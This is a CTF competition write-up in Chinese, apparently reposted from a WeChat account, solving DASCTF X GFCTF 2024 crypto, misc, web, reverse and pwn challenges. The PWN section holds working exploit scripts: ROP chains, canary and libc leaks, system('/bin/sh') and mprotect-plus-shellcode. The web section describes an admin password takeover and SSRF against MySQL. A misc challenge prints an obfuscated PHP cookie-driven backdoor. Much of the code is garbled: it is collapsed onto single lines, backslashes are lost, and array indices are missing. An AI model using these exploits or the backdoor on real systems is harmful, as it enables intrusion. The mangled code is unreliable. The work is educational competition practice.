DASCTF X GFCTF 2024 writeup by Arr3stY0u

admin 2024年4月21日18:46:23评论51 views字数 18802阅读62分40秒阅读模式

DASCTF X GFCTF 2024 writeup by Arr3stY0u

HEADER

CTF组招新联系QQ2944508194,简历需为正式简历格式、请在简历中标注在赛事中的个人产出比,例如:某比赛团队总分2000分,我解出两个crypto共计500分占比25%。

所有方向均有名额,请不要担心投简历被拒等情况,未达标准我们会指出不足之处、给出学习建议。

获取题目下载链接请后台回复:gfctf2024

CRYPTO

The_Mystery_of_Math:

连接远程,发送pq

 nc node5.buuoj.cn 29050Please enter a proposition (up to four variables, e.g. p ∧ q): p↔qrandom_pro: (r→p)∨(r→q→﹁r)c: 13068713623449734238233594734629594688230669702085397980677569412413966839670721633440471399962394623311161671402289151961412776461914090139128046679222761626910127123480923025308846654277052136291228445137126012146325808126103237649028042097280935999605220946106531514543820426920430311990717725710680478528735019511235179760545435002002609512623336823873093959718919532735948173033494208439579871031299633468495073133388662718841n: 13110056520340353928957676409121305229981847766465466693915467535998414995155318536709459013248129393896817464711964737948681955565513428211397998457008829097479300984549222290430837044921705066695542657994997670869485180809151775489176502784872250325637691035646805813630509395436947117461222340783600680661492670430748508380817111092185531890707177464782784278266094237267734556492406830321537372976039786636493638737251320276031tip: 38796296185934147415097566881268965554915137447904544337235498222599747242591785066565227866043774969041047247865299602361406577339952062632332800514024364248551998286797719505558860595200

tip分解:

2^17 · 3^2 · 5^2 · 7^8 · 11^12 · 13^22 · 17^8 · 19^10 · 23^12 · 29^2 · 31^8 · 37^30 · 41^22

再根据目标范式:

(﹁p∧﹁q)∨(p∧q)

(p∨﹁q)∧(﹁p∨q)

简单手工推一下,求出:

( 17 ) 22 p 2 q 30 ∧ 8 ﹁ 12 ∨ 10

然后(r→p)∨(r→q→﹁r) 这个里还缺r、→,30*30,爆破,后求出p,得解:

from Crypto.Util.number import *from gmpy2 import *from sympy import nextprimefrom tqdm import tqdmfrom random import randinttable = ['﹁', '∨', '∧', '→', '↔', 's', '(', ')', 'p', 'q', 'r', 't']n=13110056520340353928957676409121305229981847766465466693915467535998414995155318536709459013248129393896817464711964737948681955565513428211397998457008829097479300984549222290430837044921705066695542657994997670869485180809151775489176502784872250325637691035646805813630509395436947117461222340783600680661492670430748508380817111092185531890707177464782784278266094237267734556492406830321537372976039786636493638737251320276031#2^17 · 3^2 · 5^2 · 7^8 · 11^12 · 13^22 · 17^8 · 19^10 · 23^12 · 29^2 · 31^8 · 37^30 · 41^22#(﹁p∧﹁q)∨(p∧q)#(p∨﹁q)∧(﹁p∨q)a='''( 17) 22p 2q 30∧ 8﹁ 12∨ 10'''aa=[]bb=[]for i in a.split("n"):    aa.append(i.split(" ")[0])    bb.append(int(i.split(" ")[1]))print(aa)print(bb)c="(r→p)∨(r→q→﹁r)"primes = []tmp = 2while len(primes) < len(c):    primes.append(tmp)    tmp = nextprime(tmp)print(primes)def count1(numr,numqt):    tmp=1    for i in range(len(c)):        if c[i] in aa:            tmpbb=bb[aa.index(c[i])]            tmp*=primes[i]**tmpbb        if c[i]=='r':            tmpbb=numr            tmp*=primes[i]**tmpbb        if c[i]=='→':            tmpbb=numqt            tmp*=primes[i]**tmpbb    return tmpp=1for i in tqdm(range(30)):    if i in bb:        continue    for j in range(30):        tmpjs=nextprime(count1(i,j))        if n%tmpjs==0:            print(i,j,tmpjs)            p=tmpjs#1660652978358615605225924189382489638995423394440835870814951268851981167843242313580504229334950723225482841626846646103594061957725514716663799514318969436613818173954666401295140655510868129836655884698912454399166733640251111431111636490776500328392655559135192606720000071q=n//pe = 65537c=13068713623449734238233594734629594688230669702085397980677569412413966839670721633440471399962394623311161671402289151961412776461914090139128046679222761626910127123480923025308846654277052136291228445137126012146325808126103237649028042097280935999605220946106531514543820426920430311990717725710680478528735019511235179760545435002002609512623336823873093959718919532735948173033494208439579871031299633468495073133388662718841d=invert(e,(p-1)*(q-1))m=pow(c,d,n)print(long_to_bytes(m))#b'DASCTF{ca15d8b7-0f49-4b29-9bd3-0e7035e797f5}'

MISC

tele:

https://higordiego.medium.com/how-to-discover-the-users-ip-address-using-telegram-d0dcad4c4d72

搜字符串“XOR-MAPPED-ADDRESS”得到IP

twice:

第一时间想到的是下载两个视频,直接拿m3u8和key使用ffmepg下载发现报错。

随便翻了翻播放器的js文件,发现这个DPlayer会对key进行处理,类似的已经有人分析过了:https://www.52pojie.cn/thread-1851955-1-1.html

用原帖子中的脚本对两个key分别进行转换,再From hex就可以得到flag

https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')&input=NDQ0MTUzNDM1NDQ2N2I2NzY2NjMzNzY2MmQ3NzZjNDA&oeol=FF

https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')&input=NjM3MzJkNzczMDZiNjY2ODYzMzM3MjJkNjY3NTZlN2Q&oeol=FF90

badmes:

比赛时间还剩很长,题目没有限制答题时间,直接人工“智能”

parser:

先反混淆

16进制转字节

DASCTF X GFCTF 2024 writeup by Arr3stY0u

with open('1.php', 'rb') as f:    con = f.read()Con=con.replace(b'xd8xaexefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxcdxb1xefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbd', b'v1')Con=con.replace(b'xcaxaaxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxd1x80xefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbd', b'v2')Con=con.replace(b'xefxbfxbdxefxbfxbdxc5xa8xdcxb9xefxbfxbdxc8x8fxefxbfxbdxefxbfxbdxc8xb5xefxbfxbd', b'v3')Con=con.replace(b'xefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxe3xa1xb3', b'v4')Con=con.replace(b'xefxbfxbdxefxbfxbdxefxbfxbdxdcxa5xefxbfxbdxd2x93xefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxc9x9dxefxbfxbd', b'v5')Con=con.replace(b'xefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxd7xbbxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbd', b'v6')Con=con.replace(b'xefxbfxbdxefxbfxbdxefxbfxbdxe5x84x8exefxbfxbdxd5xb8xefxbfxbdxd6xbfxefxbfxbdxefxbfxbd', b'v7')Con=con.replace(b'xefxbfxbdxefxbfxbdxe0xadx8fxefxbfxbdxefxbfxbdxefxbfxbdxd5xa5xc4x86xefxbfxbdxefxbfxbdxefxbfxbd', b'v8')Con=con.replace(b'xefxbfxbdxe5xb3xb6xefxbfxbdxefxbfxbdxcex92xefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbd', b'v9')Con=con.replace(b'xefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxcfx8exdfxaexefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbd', b'v10')Con=con.replace(b'xefxbfxbdxcex89xefxbfxbdxd6x8fxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxd3xb1xebxbbxb2xefxbfxbd', b'v11')Con=con.replace(b'xefxbfxbdxefxbfxbdxefxbfxbdxd1xadxefxbfxbdxccxb3xefxbfxbdxc3xa2xefxbfxbdxefxbfxbdxefxbfxbdxd9xbc', b'v12')Con=con.replace(b'xefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxefxbfxbdxd0xb9xefxbfxbdxefxbfxbdxefxbfxbd', b'v13')print(con)

2.php:

<?phpstr_rot13(substr('kofvamreebe_ercbegvat', 6, 15))(E_ALL ^ E_NOTICE);$v1 = str_rot13(substr('etsjuonfr64_qrpbqr', 5, 13))(substr('vxMDgwNjdTZWM=', 2, 12));function xorDecrypt($v2, $v3) { $v2 = str_rot13(substr('xothonfr64_qrpbqr', 4, 13))($v2);$v4 = str_rot13(substr('jtonfr64_qrpbqr', 2, 13))('');$v5 = str_rot13(substr('efgeyra', 1, 6))($v3);for ($v6 = 0;$v6 < str_rot13(substr('jtefgeyra', 3, 6))($v2);$v6++) { $v7 = $v3[$v6 % $v5];$v8 = str_rot13(substr('ybeq', 1, 3))($v2[$v6]) - $v6 % 3;$v8 = ($v8 ^ str_rot13(substr('rgxamfbeq', 6, 3))($v7)) % 256;$v4 .= str_rot13(substr('hlvqapue', 5, 3))($v8);} return $v4;} class A {     public function __construct($v9, $v10) {        $v11 = str_rot13(substr('xjyvwrkbeQrpelcg', 6, 10))($v9, str_rot13(substr('ncchbaonfr64_qrpbqr', 6, 13))(substr('jhpmqR0ZDVEYyMDI0', 5, 12)));        $v12 = str_rot13(substr('gyfjiekbeQrpelcg', 6, 10))($v10, str_rot13(substr('ascbqonfr64_qrpbqr', 5, 13))(substr('sgxsemREFTQ1RG', 6, 8)));        str_rot13(substr('hgwqkmcevag_e', 6, 7))(str_rot13(substr('kiokxonfr64_rapbqr', 5, 13))        (str_rot13(substr('cfdnkbeQrpelcg', 4, 10))(str_rot13(substr('jmonfr64_rapbqr', 2, 13))(str_rot13(substr('yndhsupnyy_hfre_shap', 6, 14))($v11, $v12)), str_rot13(substr('ukifonfr64_qrpbqr', 4, 13))(substr('hrwcuhR0VUTVlGTEFH', 6, 12)))));    }} if ($_POST[str_rot13(substr('vqewegonfr64_qrpbqr', 6, 13))(substr('gucGFzcw==', 2, 8))] === str_rot13(substr('fffun1', 2, 4))($v1)) {     $v13 = new A($_COOKIE[str_rot13(substr('wonfr64_qrpbqr', 1, 13))(substr('mugeXM=', 3, 4))], $_COOKIE[str_rot13(substr('lreuonfr64_qrpbqr', 4, 13))(substr('xfkkcWQ=', 4, 4))]);}echo str_rot13(substr('bxgonfr64_qrpbqr', 3, 13))(substr('hjnc3VjY2Vzc18x', 3, 12));

DASCTF X GFCTF 2024 writeup by Arr3stY0u

#substr#substr.pyimport codecsimport rewith open('2.php', 'r') as f:    con = f.read()fall = re.findall(r'substr('[^']+', [d]+, [d]+)', con)for s1 in fall:    strt, startt, stopt = re.findall(r'substr('([^']+)', ([d]+), ([d]+))', s1)[0]    res = strt[int(startt): int(startt)+int(stopt)]    con = con.replace(s1, '''+res+''')print(con)

3.php:

<?phpstr_rot13('reebe_ercbegvat')(E_ALL ^ E_NOTICE);$v1 = str_rot13('onfr64_qrpbqr')('MDgwNjdTZWM=');function xorDecrypt($v2, $v3) { $v2 = str_rot13('onfr64_qrpbqr')($v2);$v4 = str_rot13('onfr64_qrpbqr')('');$v5 = str_rot13('fgeyra')($v3);for ($v6 = 0;$v6 < str_rot13('fgeyra')($v2);$v6++) { $v7 = $v3[$v6 % $v5];$v8 = str_rot13('beq')($v2[$v6]) - $v6 % 3;$v8 = ($v8 ^ str_rot13('beq')($v7)) % 256;$v4 .= str_rot13('pue')($v8);} return $v4;}class A {    public function __construct($v9, $v10) {        $v11 = str_rot13('kbeQrpelcg')($v9, str_rot13('onfr64_qrpbqr')('R0ZDVEYyMDI0'));        $v12 = str_rot13('kbeQrpelcg')($v10, str_rot13('onfr64_qrpbqr')('REFTQ1RG'));        str_rot13('cevag_e')(str_rot13('onfr64_rapbqr')        (str_rot13('kbeQrpelcg')(str_rot13('onfr64_rapbqr')(str_rot13('pnyy_hfre_shap')($v11, $v12)), str_rot13('onfr64_qrpbqr')('R0VUTVlGTEFH'))));    }}if ($_POST[str_rot13('onfr64_qrpbqr')('cGFzcw==')] === str_rot13('fun1')($v1)) {     $v13 = new A($_COOKIE[str_rot13('onfr64_qrpbqr')('eXM=')], $_COOKIE[str_rot13('onfr64_qrpbqr')('cWQ=')]);}echo str_rot13('onfr64_qrpbqr')('c3VjY2Vzc18x');#str_rot13.pyimport codecsimport rewith open('3.php', 'r') as f:    con = f.read()fall = re.findall(r'str_rot13('[^']+')', con)for s1 in fall:    strt = re.findall(r'str_rot13('([^']+)')', s1)[0]    res = codecs.encode(strt, 'rot_13')    con = con.replace(s1, res)print(con)

4.php:

<?phperror_reporting(E_ALL ^ E_NOTICE);$v1 = base64_decode('MDgwNjdTZWM=');function xorDecrypt($v2, $v3) { $v2 = base64_decode($v2);$v4 = base64_decode('');$v5 = strlen($v3);for ($v6 = 0;$v6 < strlen($v2);$v6++) { $v7 = $v3[$v6 % $v5];$v8 = ord($v2[$v6]) - $v6 % 3;$v8 = ($v8 ^ ord($v7)) % 256;$v4 .= chr($v8);} return $v4;}class A {    public function __construct($v9, $v10) {        $v11 = xorDecrypt($v9, base64_decode('R0ZDVEYyMDI0'));        $v12 = xorDecrypt($v10, base64_decode('REFTQ1RG'));        print_r(base64_encode        (xorDecrypt(base64_encode(call_user_func($v11, $v12)), base64_decode('R0VUTVlGTEFH'))));    }}if ($_POST[base64_decode('cGFzcw==')] === sha1($v1)) {     $v13 = new A($_COOKIE[base64_decode('eXM=')], $_COOKIE[base64_decode('cWQ=')]);}echo base64_decode('c3VjY2Vzc18x');#Base64_decode,5.php:<?phperror_reporting(E_ALL ^ E_NOTICE);$v1 = '08067Sec';function xorDecrypt($v2, $v3) {     $v2 = base64_decode($v2);        $v4 = base64_decode('');        $v5 = strlen($v3);        for ($v6 = 0;$v6 < strlen($v2); $v6++) {             $v7 = $v3[$v6 % $v5];            $v8 = ord($v2[$v6]) - $v6 % 3;            $v8 = ($v8 ^ ord($v7)) % 256;            $v4 .= chr($v8);        } return $v4;}class A {    public function __construct($v9, $v10) {        $v11 = xorDecrypt($v9, 'GFCTF2024');        $v12 = xorDecrypt($v10, 'DASCTF');        print_r(base64_encode(xorDecrypt(base64_encode(call_user_func($v11, $v12)), 'GETMYFLAG')));    }}if ($_POST['pass'] === sha1($v1)) { # 08067Sec --> c0ba7f1fcaeb228316d7bd4c89f37b12baf7cbe8     $v13 = new A($_COOKIE['ys'], $_COOKIE['qd']);}echo 'success_1';

解密数据

#decode.py

import base64from Crypto.Util.number import *a1 = "AwUFDgoCNzlpMhtmPz0bPCYpF3YkPms2Ey11NDZlPyVO"a2 = base64.b64decode(a1)key = 'GETMYFLAG'for i,b in enumerate(a2):    c = key[ i%len(key) ]    b1 = ((b)^ord(c)) % 256    b2 = b1 + i%3   print(chr(b2))

DASCTF X GFCTF 2024 writeup by Arr3stY0u

DASCTF{y0u_4re_phpP4rs3r_m4st3r}

WEB

EasySignin:

1.进入容器,发现需要登陆,直接注册账号:密码,admin1:123456

2.发现修改密码处可以任意密码修改,直接修改admin的密码为123456

DASCTF X GFCTF 2024 writeup by Arr3stY0u

3.重新登陆,发现成功登录,查看图片

DASCTF X GFCTF 2024 writeup by Arr3stY0u

4.抓包,发现url等于图片链接地址,返回包是图片base64内容

DASCTF X GFCTF 2024 writeup by Arr3stY0u

5.想到ssrf打mysql,直接利用Gopherus工具查看数据库,盲猜root

DASCTF X GFCTF 2024 writeup by Arr3stY0u

6.将后面内容再进行一次url编码输出,成功返回database,解码

DASCTF X GFCTF 2024 writeup by Arr3stY0u

DASCTF X GFCTF 2024 writeup by Arr3stY0u

7.最后发现flag在根目录,直接构造

DASCTF X GFCTF 2024 writeup by Arr3stY0u

二次编码

DASCTF X GFCTF 2024 writeup by Arr3stY0u

DASCTF X GFCTF 2024 writeup by Arr3stY0u

Base64解码得到flag

DASCTF X GFCTF 2024 writeup by Arr3stY0u

cool_index:

POST传{"index":"7+1"}

REVERSE

prese:

简单替换

enc = [0x86, 0x83, 0x91, 0x81, 0x96, 0x84, 0xB9, 0xA5, 0xAD, 0xAD,       0xA6, 0x9D, 0xB6, 0xAA, 0xA7, 0x9D, 0xB0, 0xA7, 0x9D, 0xAB,       0xB1, 0x9D, 0xA7, 0xA3, 0xB1, 0xBB, 0xAA, 0xAA, 0xAA, 0xAA,       0xBF]tb = []for i in range(256):    tb.append((~(len(enc) ^ i)) % 0x100)for i in enc:    print(chr(tb.index(i ^ 0x22)), end="")# DASCTF{good_the_re_is_easyhhhh}

ezVM:

claripy解key

import claripykey = [claripy.BVS(f"key_{i}", 9) for i in range(10)]key_cp = key.copy()s = claripy.Solver()for i in range(8):    s.add(key[i] >= 0)    s.add(key[i] <= 99)key[8] = 0key[9] = 0key[0] += 132key[8] += key[0]key[8] += key[1]s.add(key[8] == 316)key[9] += key[1]key[9] += key[2]key[9] += key[3]s.add(key[9] == 158)key[4] *= 22key[0] += key[4]s.add(key[0] == 889)key[5] -= 11key[8] = key[5]key[8] += key[6]s.add(key[8] == 38)key[7] += key[6]s.add(key[7] == 96)key[9] = key[1]key[9] += key[2]key[9] -= key[5]s.add(key[9] == 111)key[5] *= 7key[8] = key[0]key[8] -= key[6]key[8] += key[5]s.add(key[8] == 859)key[3] += key[4]s.add(key[3] == 706)for res in s.batch_eval(key_cp, 1):    tmp = bytes(res[:8]).hex()    for i in range(0, len(tmp), 2):        print(str(int(tmp[i:i+2], 16)).zfill(2), end="")# 9787254630123759

xor解flag

enc = [0]*44enc[-8+8] = 13enc[-8+9] = 8enc[-8+10] = 26enc[-8+11] = 10enc[-8+12] = 29enc[-8+13] = 15enc[-8+14] = 50enc[-8+15] = 120enc[-8+16] = 42enc[-8+17] = 123enc[-8+18] = 42enc[-8+19] = 123enc[-8+20] = 124enc[-8+21] = 125enc[-8+22] = 113enc[-8+23] = 100enc[-8+24] = 122enc[-8+25] = 44enc[-8+26] = 123enc[-8+27] = 125enc[-8+28] = 100enc[-8+29] = 40enc[-8+30] = 125enc[-8+31] = 113enc[-8+32] = 44enc[-8+33] = 100enc[-8+34] = 120enc[-8+35] = 120enc[-8+36] = 125enc[-8+37] = 122enc[-8+38] = 100enc[-8+39] = 40enc[-8+40] = 122enc[-8+41] = 125enc[-8+42] = 112enc[-8+43] = 127enc[-8+44] = 40enc[-8+45] = 122enc[-8+46] = 43enc[-8+47] = 126enc[-8+48] = 125enc[-8+49] = 121enc[-8+50] = 121enc[-8+51] = 52for i in enc:    print(chr(i^0x49),end="")# DASCTF{1c2c2548-3e24-a48e-1143-a3496a3b7400}

unvind:

inline hook和she实现两次xtea和一次xxtea

#include <stdio.h>#include <stdint.h>#define DELTA 0x61C88647#define MX (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z)))//加密函数void encrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]){    unsigned int i;    uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 0x61C88647;    for (i = 0; i < num_rounds; i++)    {        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);        sum -= delta;        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);    }    v[0] = v0;    v[1] = v1;    printf("sum==0x%xn", sum);}//解密函数void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]){    unsigned int i;    uint32_t v0 = v[0], v1 = v[1], delta = 0x61C88647, sum = 0x3fcd1e04;    for (i = 0; i < num_rounds; i++)    {        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);        sum += delta;        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);    }    v[0] = v0;    v[1] = v1;    printf("sum==0x%xn", sum);}void btea(uint32_t *v, int n, uint32_t const key[4]){    uint32_t y, z, sum;    unsigned p, rounds, e;    //加密    if (n > 1)    {        rounds = 6 + 52 / n;        sum = 0;        z = v[n - 1];        do        {            sum -= DELTA;            e = (sum >> 2) & 3;            for (p = 0; p < n - 1; p++)            {                y = v

; z = v

+= MX; } y = v[0]; z = v[n - 1] += MX; } while (--rounds); } //解密 else if (n < -1) { n = -n; rounds = 6 + 52 / n; sum = 0x6a99b4ac; y = v[0]; do { e = (sum >> 2) & 3; for (p = n - 1; p > 0; p--) { z = v

; y = v

-= MX; } z = v[n - 1]; y = v[0] -= MX; sum += DELTA; } while (--rounds); } printf("sum==0x%xn", sum);}//打印数据 hex_or_chr: 1-hex 0-chrvoid dump_data(uint32_t *v, int n, bool hex_or_chr){ if (hex_or_chr) { for (int i = 0; i < n; i++) { printf("0x%x,", v[i]); } } else { for (int i = 0; i < n; i++) { for (int j = 0; j < sizeof(uint32_t) / sizeof(uint8_t); j++) { printf("%c", (v[i] >> (j * 8)) & 0xFF); } } } printf("n"); return;}int main(){ // v为要加解密的数据 uint32_t v[] = {0x87aaa7c1, 0x857321b6, 0xe71d28c, 0xcadf39f2, 0x58efca14, 0xd7e7d9d8, 0xf29f5c5d, 0x5f5ed45e}; // k为加解密密钥,4个32位无符号整数,密钥长度为128位 uint32_t k[4] = {0x44, 0x41, 0x53, 0x21}; unsigned int r = 36; int n = sizeof(v) / sizeof(uint32_t); for (int i = 0; i < n / 2; i++) { decrypt(r, &v[i * 2], k); } for (int i = 0; i < n / 2; i++) { decrypt(r, &v[i * 2], k); } btea(v, -n, k); printf("解密后明文数据:"); dump_data(v, n, 1); printf("解密后明文字符:"); dump_data(v, n, 0); return 0;}// DASCTF{Gr3@t!Y0u_have_50lv3d_1T}

yunV2:

动态注册的jni方法

bool __fastcall real_check(JNIEnv *a1, __int64 a2, void *a3){  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]  v3 = (*a1)->GetStringUTFChars(a1, a3, 0LL);  // 36  // base37  v4 = strlen(v3);  v5 = v4;  if...  v6 = (char *)v15 + 1;  LOBYTE(v15[0]) = 2 * v4;  if ( v4 )LABEL_5:    memcpy(v6, v3, v5);  v6[v5] = 0;  if...  // hill cipher + base64  sub_21ECC(v8, (__int64)&v12);  // 先xor末尾的0x7e解出字符串  // enc_flag = 'Z21vaGwya2tqZWRubi01czFodWhsOXVhOS1qZms2dWlwZXB4'  if...  v10 = s1;  v9 = strcmp(s1, enc_flag);  operator delete(v10);  if ( (v15[0] & 1) != 0 )LABEL_13:    operator delete(v16);  return v9 == 0;}

sub_21ECC内部能看到明显的3x3矩阵乘法

sub_21ECC:      v81.val[0] = vaddw_s32(                     vaddw_s32(vaddw_s32(v80.val[0], vmul_s32(v44, v59)), vmul_s32(v45, v60)),                     vmul_s32(v46, v61));      v81.val[1] = vaddw_s32(                     vaddw_s32(vaddw_s32(v80.val[1], vmul_s32(v47, v59)), vmul_s32(v48, v60)),                     vmul_s32(v49, v61));      v81.val[2] = vaddw_s32(                     vaddw_s32(vaddw_s32(v80.val[2], vmul_s32(v50, v59)), vmul_s32(v51, v60)),                     vmul_s32(v52, v61));

套用hill cipher板子解出flag。

from sage.all import *from base64 import b64decodeR = IntegerModRing(37)m1 = matrix(R, 3, 3, [22, 11, 11, 12, 35, 33, 35, 31, 32])inv_m1 = m1.inverse()T = "abcdefghijklmnopqrstuvwxyz1234567890-"enc_flag = b64decode('Z21vaGwya2tqZWRubi01czFodWhsOXVhOS1qZms2dWlwZXB4').decode()data = [T.index(enc_flag[i]) for i in range(len(enc_flag))]print(data)s = ''for k in range(0, len(enc_flag), 9):    t = matrix(R, 3, 3, data[k: k+9])*inv_m1    for i in range(3):        for j in range(3):            s += T[t[i][j]]print(s) # 2be9289a-b344-4c4c-90d3-8228d2343870

PWN

dynamic_but_static:

普通orw

#!/usr/bin/python3# -*- encoding: utf-8 -*-from pwncli import *context(arch='amd64', os='linux', log_level='debug')# use script modecli_script()# get use for obj from giftio: tube = gift['io']elf: ELF = gift['elf']libc: ELF = gift['libc']pop_rdi=0x0000000000401381bss_addr=0x404060+0x300leave_ret=0x401482payload=b'a'*0x38+p64_ex(pop_rdi)+p64_ex(elf.got['puts'])+p64_ex(elf.plt['puts'])+p64_ex(0x401386)s(payload)set_current_libc_base_and_log(recv_current_libc_addr(),libc.symbols['puts'])CG.set_find_area(find_in_elf=False,find_in_libc=True)pop_rsi=libc.address+0x000000000002be51pop_rdx=libc.address+0x00000000000796a2sleep(0.1)payload=b'a'*0x30+p64_ex(bss_addr)+p64_ex(pop_rsi)+p64_ex(bss_addr)+p64_ex(pop_rdx)+p64_ex(0x200)+p64_ex(elf.plt['read'])+p64_ex(leave_ret)s(payload)sleep(0.1)payload=b'/flagx00x00x00'+CG.orw_chain(bss_addr,bss_addr+0x100,3,1)s(payload)ia()

Exception:

泄露canary/libc/elf以及栈地址,最后覆盖main函数的返回地址

#!/usr/bin/python3# -*- encoding: utf-8 -*-from pwncli import *context(arch='amd64', os='linux', log_level='debug')# use script modecli_script()# get use for obj from giftio: tube = gift['io']elf: ELF = gift['elf']libc: ELF = gift['libc']payload=b'%7$p-%9$p-%11$p'sa(b"please tell me your name",payload)ru(b'0x')canary=int(ru(b'-',drop=True),16)log_address_ex2(canary)ru(b'0x')code_base=int(ru(b'-',drop=True),16)-0x1480log_address_ex2(code_base)ru(b'0x')set_current_libc_base_and_log(int(r(12),16),libc.symbols['__libc_start_main']+243)ru(b'0x')rbp=int(r(12),16)log_address_ex2(rbp)CG.set_find_area(find_in_elf=False,find_in_libc=True)payload=p64_ex(canary)+b'a'*0x60+p64_ex(canary)+p64_ex(rbp+0x18)+p64_ex(code_base+0x1408)+p64_ex(CG.pop_rdi_ret()+1)*0x6+p64_ex(CG.pop_rdi_ret())+p64_ex(CG.bin_sh())+p64_ex(libc.symbols['system'])sa(b"How much do you know about exception?",payload)ia()

Control:

参考:

https://xz.aliyun.com/t/12967?time__1311=mqmhqIx%2BODkKDsD7G30%3D3eAKdDvzTqvpD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F12967#toc-2

只给了0x10字节,先将栈迁移到已知位置,再次调用vul函数重置一系列寄存器的值后再续写ROP

#!/usr/bin/python3# -*- encoding: utf-8 -*-from pwncli import *context(arch='amd64', os='linux', log_level='debug')# use script modecli_script()# get use for obj from giftio: tube = gift['io']elf: ELF = gift['elf']#libc: ELF = gift['libc']gift_addr=0x4D3350read_addr=0x462170mprotect_addr=0x462FC0pop_rdx=0x0000000000401affvul_addr=0x40215Cpayload=p64_ex(vul_addr)+p64_ex(read_addr)sa(b"Gift> ",payload)payload=b'a'*0x70+p64_ex(gift_addr-0x8)+p64_ex(0x4021FA+1)sa(b"How much do you know about control?",payload)pop_rdi=0x0000000000401c72pop_rsi=0x0000000000405285payload=b'a'sa(b"How much do you know about control?",payload)payload=flat([    pop_rdi,gift_addr&(~0xfff),    pop_rsi,0x2000,    pop_rdx,7,mprotect_addr,    0x4d33a0])sleep(1)payload+=asm(shellcraft.sh())s(b'a'*0x80+payload)ia()

FOOTER

      山海关安全团队是一支专注网络安全的实战型团队,团队成员均来自国内外各大高校与企事业单位,总人数已达50余人。Arr3stY0u(意喻"逮捕你")战队与W4ntY0u(意喻"通缉你")预备队隶属于团队CTF组,活跃于各类网络安全比赛,欢迎你的加入哦~

原文始发于微信公众号(山海之关):DASCTF X GFCTF 2024 writeup by Arr3stY0u

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月21日18:46:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DASCTF X GFCTF 2024 writeup by Arr3stY0uhttps://cn-sec.com/archives/2677488.html

发表评论

匿名网友 填写信息